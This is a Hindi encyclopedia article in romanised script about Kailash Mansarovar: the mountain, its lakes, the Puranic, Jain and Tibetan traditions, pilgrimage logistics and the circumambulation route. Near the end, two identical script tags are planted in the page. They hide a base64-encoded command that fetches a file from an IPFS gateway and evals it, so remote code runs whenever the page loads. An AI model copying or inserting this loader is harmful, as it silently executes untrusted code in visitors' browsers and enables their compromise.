कैलाश मानसरोवर

thumb|800px|center|kailash manasarovar (Kailash Mansarovar) kailash manasarovar (Kailash Mansarovar) ko shiv-parvati ka ghar mana jata hai. pauranik kathaoan ke anusar manasarovar ke pas sthit kailash parvat par shiv-shanbhoo ka dham hai. yahi vah pavan jagah hai, jahaan shiv-shanbhoo virajate haian. puranoan ke anusar yahaan shivaji ka sthayi nivas hone ke karan is sthan ko 12 jyetirliangoan mean sarvashreshth mana gaya hai. kailash barf se achchhadit 22,028 phut ooanche shikhar aur usase lage manasarovar ko 'kailash manasarovar tirth' kahate hai aur is pradesh ko manas khand kahate haian. har sal kailash-manasarovar ki yatra karane, shiv-shanbhoo ki aradhana karane, hazaroan sadhu-sant, shraddhalu, darshanik yahaan ekatrit hote haian, jisase is sthan ki pavitrata aur mahatta kafi badh jati hai. kailash-manasarovar utana hi prachin hai, jitani prachin hamari srishti hai. is alaukik jagah par prakash tarangoan aur dhvani tarangoan ka samagam hota hai, jo ‘Om’ ki pratidhvani karata hai. is pavan sthal ko 'bharatiy darshan ke hriday' ki upama di jati hai, jisamean bharatiy sabhyata ki jhalak pratibianbit hoti hai.

kailash parvat

thumb|250px|right|kailash parvat par Om param pavan kailash parvat hindoo dharm mean apana vishisht sthan rakhata hai. hindoo dharm ke anusar yah bhagavan shankar evan jagath mata parvati ka sthayi nivas hai. kailas parvatamala kashmir se lekar bhootan tak phaili huee hai. lha choo aur jhoang choo ke bich kailash parvat hai jisake uttari shikhar ka nam kailash hai. kailash parvat ko 'ganaparvat aur rajatagiri' bhi kahate haian. kadachit prachin sahity mean ullikhit meru bhi yahi hai. manyata hai ki yah parvat svayanbhoo hai. kailash parvat ke dakshin bhag ko nilam, poorv bhag ko kristal, pashchim ko roobi aur uttar ko svarn roop mean mana jata hai. kailash parvat samudr satah se 22,028 phit ooancha ek patthar ka piramid jaisa hai, jisake shikhar ki akriti virat shivaliang ki tarah hai. parvatoan se bane shodashadal kamal ke madhy yah sthit hai. yah sadaiv barf se achchhadit rahata hai. isaki parikrama ka mahattv kaha gaya hai. yah himalay ke uttari kshetr mean tibbat pradesh mean sthit ek tirth hai. chooanki tibbat chin ke adhin hai, atah kailash chin mean ata hai. jo char dharmoan tibbati dharm, bauddh dharm, jain dharm aur hindoo ka adhyatmik kendr hai. kailash parvat ki char dishaoan se eshiya ki char nadiyoan ka udgam hua hai brahmaputr, siandhu nadi, satalaj v karanali. kailash ke charoan dishaoan mean vibhinn janavaroan ke mukh hai, jisamean se nadiyoan ka udgam hota hai, poorv mean ashvamukh hai, pashchim mean hathi ka mukh hai, uttar mean sianh ka mukh hai, dakshin mean mor ka mukh hai. thumb|1000px|center|kailash parvat aur manasarovar jhil

manasarovar jhil

manasarovar jhil tibbat mean sthit ek jhil hai. yah jhil lagabhag 320 varg kilomitar ke kshetr mean phaili huee hai. isake uttar mean kailash parvat tatha pashchim mean rakshatal jhil hai. puranoan ke anusar vishv mean sarvadhik samudratal se 17 hazar phut ki uanchaee par sthit 120 kilomitar ki paridhi tatha 300 phut gahare mithe pani ki manasarovar jhil ki utpatti bhagirath ki tapasya se bhagavan shiv ke prasann hone par huee thi. aisi adbhut prakritik jhil itani ooanchaee par kisi bhi desh mean nahian hai. puranoan ke anusar shankar bhagavan dvara prakat kiye gaye jal ke veg se jo jhil bani, kalaantar mean usi ka nam 'manasarovar' hua. manasarovar jhil se ghira hona kailash parvat ki dharmik mahatta ko aur adhik badhata hai. prachinakal se hi vibhinn dharmoan ke lie is sthan ka vishesh mahattv hai. is sthan se ju de vibhinn mat aur lok-kathaean keval ek hi saty ko pradarshit karati haian, jo hai sabhi dharmoan ki ekata. hindoo dharm mean ise pavitr mana gaya hai. isake darshan ke lie hazaroan log prativarsh kailash manasarovar yatra mean bhag lete haian. hamare shastroan ke anusar paramapita parameshvar ke anand ashruoan ko bhagavan brahma ne apane kamandal mean rakh liya tha tatha is bhoolok par "triyashtakan" (tibbat) svarg saman sthal par "manasarovar" ki sthapana ki . shakt granth ke anusar, devi sati ka daanya hath isi sthan par gira tha, jisase yah jhil taiyar huee. isalie yahaan ek pashan shila ko usaka roop manakar pooja jata hai. isalie ise 51 shaktipithoan mean se ek mana gaya hai. garmi ke dinoan mean jab manasarovar ki barf pighalati hai, to ek prakar ki avaz bhi sunaee deti hai. shraddhalu manate haian ki yah mridang ki avaz hai. manyata yah bhi hai ki koee vyakti manasarovar mean ek bar dubaki laga le, to vah 'rudralok' pahuanch sakata hai. kailash parvat, jo svarg hai jis par kailashapati sadashiv viraje haian, niche mrityalok hai, isaki bahari paridhi 52 kimi hai. manasarovar paha doan se ghiri jhil hai, jo puranoan mean 'kshir sagar' ke nam se varnit hai. kshir sagar kailash se 40 kimi ki doori par hai v isi mean shesh shaiyh‌ya par vishnu v lakshmi virajit ho poore sansar ko sanchalit kar rahe hai. aisa mana jata hai ki maharaj maandhata ne manasarovar jhil ki khoj ki aur kee varshoan tak isake kinare tapasya ki thi, jo ki in parvatoan ki talahati mean sthit hai.

rakshas tal

rakshas tal lagabhag 225 varg kilomitar kshetr, 84 kilomitar paridhi tatha 150 phut gahare mean phaila hai. prachalit hai ki rakshasoan ke raja ravan ne yahaan par shiv ki aradhana ki thi. isalie ise rakshas tal ya ravanahrid bhi kahate haian. ek chhoti nadi ganga-choo donoan jhiloan ko jodati hai.

pauranik manyataean

hindoo ke alava, bauddh aur jain dharm mean bhi kailash manasarovar ko pavitr tirthasthan ke roop mean dekha jata hai. pauranik manyataoan ke anusar yah jagah kuber ki nagari hai. yahian se mahavishnu ke karakamaloan se nikalakar ganga kailash parvat ki choti par girati hai, jahaan prabhu shiv unhean apani jataoan mean bhar dharati mean nirmal dhara ke roop mean pravahit karate haian. hindoo dharm ki manyataoan ke anusar, jo vyakti manasarovar jhil ki dharati ko chhoo leta hai, vah brahma ke banaye svarg mean pahuanch jata hai aur jo vyakti jhil ka pani pi leta hai, use bhagavan shiv ke banaye svarg mean jane ka adhikar mil jata hai. ramayan ki kahaniyaan kahati haian ki himalay jaisa koee doosara parvat nahian hai, kyoanki yahaan kailash aur manasarovar sthit haian. pauranik anushrutiyoan ke anusar shiv aur brahma adi devagan, marich adi rrishi evan lankapati ravan, bhasmasur adi aur chakravarti maandhata ne yahaan tap kiya tha. paandavoan ke digvijay prayas ke samay arjun ne is pradesh par vijay prapt ki thi. yudhishthir ke rajasooy yajn mean is pradesh ke raja ne uttam gho de, sona, ratn aur yak ke pooanchh ke bane kale aur safed chamar bheant kie the. is pradesh ki yatra vyas, bhim, krishna, dattatrey adi ne ki thi. inake atirikt any anek rrishi muniyoan ke yahaan nivas karane ka ullekh prapt hota hai. kuchh logoan ka kahana hai ki adi shankarachary ne isi ke asapas kahian apana sharir tyag kiya tha. hindoo dharm ke anuyayiyoan ki manyata hai ki kailash parvat meroo parvat hai jo brahmand ki dhuri hai. puranoan ke anusar is pavitr jhil ki ek parikrama se ek janm tatha das parikrama se hazar janmoan ke papoan ka nash aur 108 bar parikrama karane se prani bhavabandhan se mukt hokar eeshvar mean samahit ho jata hai. shiv puran ke anusar kuber ne isi sthan par kathin tapasya ki thi, jisase prasann hokar bhagavan shiv ne kailas parvat ko apana sthayi nivas tatha kuber ko apana sakha banane ka varadan diya tha. shastroan mean isi sthan ko prithvi ka svarg aur kuber ki alakapuri ki sanjna di gee hai.

kailas par ravan ki shiv stuti
shiv mahapuran ke anusar ek bar lankapati ravan ne kee varshoan tak lagatar shiv stuti ki, lekin usaki stuti ka koee prabhav bhagavan shankar ki samadhi par nahian p da, tab usane kailas parvat ke niche ghusakar use hilane ki koshish ki taki bhagavan shankar uthakar usaki ichchhanusar varadan pradan karean. usaki is ichchha ko janakar shiv ne use pahale hi kailas ke niche daba diya, jisase vah bahar n nikal sake. parvat ke niche dab jane ke bad ravan shiv ka pyara taandav nrity karate hue ek stotr rachakar gane laga, jisase prasann hokar bhagavan shankar ne use ichchhanusar varadan diya.

manasarovar ki utpatti-
puranoan ke anusar ek samay ki bat hai ki sanak, sanandan, sanat kumar v sanat sujat rrishi kailas parvat par shiv shankar ko prasann karane ke lie tapasya kar rahe the, usi dauran 12 varshoan tak varsha n hone ke karan sari nadiyaan sookh gayi thi, aur in rrishiyoan ko snan adi karane ke lie bahut door mandakini tak jana p data tha. rrishiyoan ki prarthana par brahmaji ne apane manasik sankalp se parvat ke nikat ek sarovar ka nirman kiya aur bad mean svayan hansaroop mean hokar isamean pravesh kiya tha. is prakar yah jhil sarvapratham bhagavan brahma ke man mean utpann hua tha. isi karan ise 'manas manasarovar' kahate haian. darasal, manasarovar sanskrit ke manas (mastishk) aur sarovar (jhil) shabd se bana hai. jisaka shabdik arth hota hai - man ka sarovar. manyata hai ki brahmamuhurt (prat:kal 3-5baje) mean devatagan yahaan snan karate haian.

tibbatiyoan ki manyata hai ki vahaan ke ek sant kavi ne varshoan gupha mean rahakar tapasya ki thi, tibbati (bhotiya) log kailas manasarovar ki tin athava terah parikrama ka mahattv manate haian aur puranoan ke anusar is pavitr jhil ki ek parikrama se ek janm tatha das parikrama se hazar janmoan ke papoan ka nash aur 108 bar parikrama karane se prani bhavabandhan se mukt ho kar eeshvar mean samahit ho jata hai. vahian jain dharm mean bhi is sthan ka mahattv hai. ve kailash ko 'ashtapad' kahate haian. kaha jata hai ki pratham tirthakar rrishabhadev ne yahian adhyatmik jnan (nirvan) prapt kiya tha. jainiyoan ki manyata hai ki adinath rrishabh dev ka yah nirvan sthal kailash (ashtapad) hai. kahate haian rrishabh dev ne ath pag mean kailash ki yatra ki thi. jain dharm tatha tibbat ke sthaniy bonapa log bhi manasarovar jhil ko pavitr manate haian. is jhil ke tat par kee math bhi haian.

• kalidas ne bhi kiya kailas ka varnan- kavi kalidas ne bhi apane sahity lekhan ke madhyam se meghadoot mean kailas ka varnan kiya hai. meghadoot ki alakapuri kailas par hi basi thi.
• manas manasarovar mean hansoan ka vas- sthaniy logoan ke anusar is manas manasarovar mean hamesha kee darjan hansoan ke jo de rahate haian.

kailash manasarovar yatra

thumb|250px|right|kailash manasarovar manachitr aantarrashtriy nepal tibbat chin se lage uttarakhand ke simavarti pithauragadh ke dharachoola se kailas manasarovar ki taraph jane vale durgam parvatiy sthanoan par sadakean n hone aur 75 kilomitar paidal marg ke atyadhik khataranak hone ke karan himalay ke madhy tirthoan mean sabase kathinatam bhagavan shiv ke is pavitr dham ki yah romaanchakari yatra bharat aur chin ke videsh mantralayoan dvara ayojit ki jati hai. kailas ki yatra par keval bharat hi nahian any deshoan ke shraddhalu bhi jate haian. varsh 1962 ke bharat-chin yuddh ke bad band huye is marg ko dharmik bhavanaoan ke maddenazar donoan deshoan ki sahamati se varsh 1981 mean punah khol diya gaya tha. samudratal se 25 hazar phut ki ooanchaee par sthit kailas parvat par pahale bina kisi kagazat ke hi avagaman hota tha.

bharat sarakar ke saujany se har varsh mee-joon mean saik doan tirthayatri kailash manasarovar ki yatra karate haian. isake lie unhean bharat ki sima laanghakar chin mean pravesh karana p data hai, kyoanki yatra ka yah bhag chin mean hai. kailash parvat ki ooanchaee samudr tal se lagabhag 20 hazar phit hai. isalie tirthayatriyoan ko kee parvat-rriankhalaean par karani p dati haian. yah yatra atyant kathin mani jati hai. hindoo dharm ke anusar kahate hai ki jisako bhole baba ka bulava hota hai, vahi is yatra ko kar sakata hai. samanyataya yah yatra 28 din mean poori hoti hai. yatra ka kathin bhag chin mean hai. bharatiy bhoo-bhag mean chauthe din se paidal yatra arambh hoti hai. bharatiy sima mean kumauan mandal vikas nigam is yatra ko sanpann karati hai. kailash manasarovar ki yatra karane se pahale tirthayatriyoan ko kuchh batoan ko dhyan mean rakhana p data hai. unhean kisi bhi prakar ki svasthy sanbandhi samasya nahian honi chahie. chooanki yah tirthasthan chin ki sima mean sthit hai, isalie unhean videsh mantralay mean apana prarthanapatr dena hota hai. chin se vija milane ke bad hi ap kailash manasarovar ki yatra kar sakate haian. dilli ke sarakari aspatal mean do din tak apake phijikal phitanes ki jaanch ki jati hai. jaanch mean phit hone ke bad hi apako is yatra ki anumati mil pati hai. darasal, kailash manasarovar ki yatra ke dauran apako 20 hazar phit ki ooanchaee tak bhi jana p d sakata hai. isi karan is yatra ko dharmik yatra ke sath hi prakritik roop se prakriti se roobaroo v prakritik sauandary ko janane ke lie bhi jana jata hai. is sthan tak pahuanchane ke lie kuchh vishesh tathyoan ka dhyan rakhana avashyak hai. jaise isaki ooanchaee 3500 mitar se bhi adhik hai. yahaan par aauksijan ki matra kafi kam ho jati hai, jisase siradard, saans lene mean takaliph adi pareshaniyaan praranbh ho sakati haian. in pareshaniyoan ki vajah sharir ko ne vatavaran ka prabhavit karana hai. ichchhuk shraddhaluoan se sarakar janavari se avedan lena prarambh kar deti hai. kailas mean chini logoan ki bhasha, sanskriti aur rahan-sahan bhinn hone ke karan bharatiy shraddhaluoan ko vahaan kafi pareshani ka samana karana p data hai. shraddhaluoan ko kailas manasarovar mean 12 din bitane ka mauqa milata hai. chinashasit tibbat ke durgam parvatiy kshetroan mean lagatar 12 din tak rahane vale pratyek shraddhalu ke sath vahaan kisi prakar ki sachal svasthy seva upalabdh nahian rahati hai. 25 hazar phut ki ooanchaee par barf jame hone ke karan shraddhaluoan ko khas tarah ka anubhav hota hai. pratyek yatri dal kailas yatra ke ek mah bad vapas dilli pahuanchata hai. chin mean kailas ki parikrama sabase pavitr hai. chin ki sima mean bharat se dharachen, tibbat, adhar se pravesh kiya jata hai. prakritik adbhut najaroan aur parvatoan ki rang-birangi shrriankhalaoan ke madhy hokar jane vale shraddhaluoan ko kailas manasarovar ki hazaroan phut sidhi chadhaee bhi jokhim bhari nahian lagati hai. kathamaandoo se sthal marg dvara manasarovar 940 ki.mi. uttar-pashchim disha mean sthit hai. kailash parvat manasarovar ke pashchim mean lagabhag 60 ki.mi. doori par sthit hai. vartaman samay mean pichhale kuchh hi varshoan se kuchh atyant bhagyashali vyaktiyoan ko in tirthasthaloan ki yatra ka puny labh prapt hua hai. s dakoan ki sthiti kafi achchhi nahian hai. sau-sau ki.mi. chalane ke bad bhi manav nivas nahian dikhaee deta. yah ek marubhoomi hai, jahaan vrikshoan ka to prashn hi nahian hai. ghas bhi kahian-kahian drishh‍tigochar hoti hai. at: is yatra mean jal, bhojan evan nivas tak ki vyavastha svayan karani hoti hai. phalasvaroop sahayatriyoan se namr nivedan kiya jata hai ki samany roop se prapt jivan ki suvidhaoan ki bhi apeksha yahaan n karean.

marg

bharat se kailash manasarovar kaise pahuanchean?

1. bharat se s dak marg

bharat sarakar s dak marg dvara manasarovar yatra prabandhit karati hai. yahaan tak pahuanchane mean qarib 28 se 30 dinoan tak ka samay lagata hai. yahaan ke lie sit ki bukiang edavaans bhi ho sakati hai aur nirdharit logoan ko hi le jaya jata hai, jisaka chayan videsh mantralay dvara kiya jata hai.

1. vayu marg

vayu marg dvara kathamaandoo tak pahuanchakar vahaan se s dak marg dvara manasarovar jhil tak jaya ja sakata hai. kailash tak jane ke lie helik aauptar ki suvidha bhi li ja sakati hai. kathamaandoo se nepalaganj aur nepalaganj se simikot tak pahuanchakar, vahaan se hilasa tak helik aauptar dvara pahuancha ja sakata hai. manasarovar tak pahuanchane ke lie laiandakroojar ka bhi prayog kar sakate haian. kathamaandoo se lhasa ke lie ‘chaina eyar’ vayuseva upalabdh hai, jahaan se tibbat ke vibhinn kasboan - shiangate, gyaantase, lahatse, prayag pahuanchakar manasarovar ja sakate haian.

bharat se kailas-manasarovar ki yatra ka marg --

thumb|kailash manasarovar|250px haldvani-- ' kausani--- ' bageshvar--- ' dharachoola--- ' tavaghat--- ' paangoo--- ' sirakha--- ' gala--- ' malpa--- ' budhi--- ' guanji--- 'kalapani--- ' lipoo lekh darra--- ' takalakot--- ' jaidi--- ' barakha maidan--- ' tarachen--- ' deraphuk--- 'shri kailas

kailas-manasarovar jane ke anek marg haian kiantu uttar pradesh ke almo da sthan se askakot, khel, garviaang, lipooleh, khiand, takalakot hokar janevala marg apekshakrit sugam hai. yah bhag 338 mil lanba hai aur isamean anek chadhav utar hai. jate samay saralakot tak 44 mil ki chadhaee hai, usake age 46 mil utaraee hai. marg mean anek dharmashala aur ashram haian, jahaan yatriyoan ko thaharane ki suvidha prapt hai. garviaang mean age ki yatra ke nimitt yak, khachchar, kuli adi milate haian. takalakot tibbat sthit pahala gram hai jahaan prativarsh jyeshth se kartik tak b da bazar lagata hai. takalakot se tarachen jane ke marg mean manasarovar p data hai. shraddhalu dilli se uttarakhand ke kathagodam hote hue adhar shivir dharachoola pahuanchane ke bad pahale padav paangla se paidal yah yatra praranbh karate haian. dharachoola aur nabhidhaang hote hue kul 75 kilomitar durgam parvatiy kshetroan ko paidal par karake vibhinn yatri dal lipupas se chinashasit tibbat mean pravesh karate haian. guanji ke bad bharat ke sadhe 16 hazar phut ki uanchaee par sthit lipupas se chin sarakar is yatra ko apane hath mean le leti hai. is marg par 'aee.ti.bi.pi.' (bharat tibbat sima pulis bal) bhi shraddhaluoan ko sahayog deti hai.

kailash parikrama

thumb|250px|right|gaurikuand jhil kailash parvat kul 48 kilomitar kshetr mean phaila hua hai. kailas parikrama marg 15500 se 19500 phut ki ooanchaee par sthit hai. manasarovar se 45 kilomitar door tarachen kailas parikrama ka adhar shivir hai. kailas ki parikrama kailash ki sabase nichali choti tarachen se shuroo hoti hai aur sabase ooanchi choti deshaphoo gompa par poori hoti hai. tarachen se yatri yamadvar pahuanchate haian. ghode aur yak par chadhakar brahmaputr nadi ko par karake kathin raste se hote huye yatri derapuph pahuanchate haian. jahaan thik samane kailas ke darshan hote haian, yahaan se kailash parvat ko dekhane par aisa lagata hai, manoan bhagavan shiv svayan barf se bane shivaliang ke roop mean virajaman haian. is choti ko 'himaratn' bhi kaha jata hai. derapuph mean ratri vishram ke bad shraddhalu sabase kathin aur dil dahala dene vali sadhe 19 hazar fut kh di ooanchaee par sthit drolma ki taraph badhate haian. drolma mean hi shiv aur parvati ki pooja-archana karake dharm pataka phaharaee jati hai. takalakot se 25 mil par maandhata parvat sthit gurlala ka darra 16,200 phut ki ooanchaee par hai. isake madhy mean pahale baeean or manasarovar aur daeean or rakshas tal hai. uttar ki or door tak kailas parvat ke himachchhadit dhaval shikhar ka ramaniy drishy dikhaee p data hai. bhaktagan vahaan drolmapas tatha manasarovar tat par khule asaman ke niche hi shivashakti ka poojan bhajan karate haian. yahaan kahian kahian bauddhamath bhi dikhate haian jinamean bauddh bhikshu sadhanarat rahate haian. darra samapt hone par tirthapuri namak sthan hai jahaan garm pani ke jharane haian. in jharanoan ke asapas choonakh di ke tile haian. kaha jata hai ki yahian bhasmasur ne tap kiya aur yahian vah bhasm bhi hua tha. isake age dolamala aur devikhiand ooanche sthan hai, unaki ooanchaee 18,600 phut hai. drolma se niche barf se sada dhaki rahane vali lhadoo ghati mean sthit ek kilomitar paridhi vala panne ke rang jaisi hari abha vali jhil, gaurikuand hai. yah kuand hamesha barf se dhanka rahata hai, magar tirthayatri barf hatakar is kuand ke pavitr jal mean snan karana nahian bhoolate. sadhe sat kilomitar paridhi tatha 80 fut gaharaee vali isi jhil mean mata parvati ne bhagavan shiv ko pati roop mean pane ke lie ghor tapasya ki thi. marg mean sthan sthan par tibbati lamaoan ke math haian. yatra mean samanyat: do mas lagate haian aur barasat aranbh hone se poorv jyeshth mas ke aant tak yatri almo da laut ate haian. is pradesh mean ek suvasit vanaspati hoti hai, jise 'kailas dhoop' kahate haian. log use prasad svaroop late haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh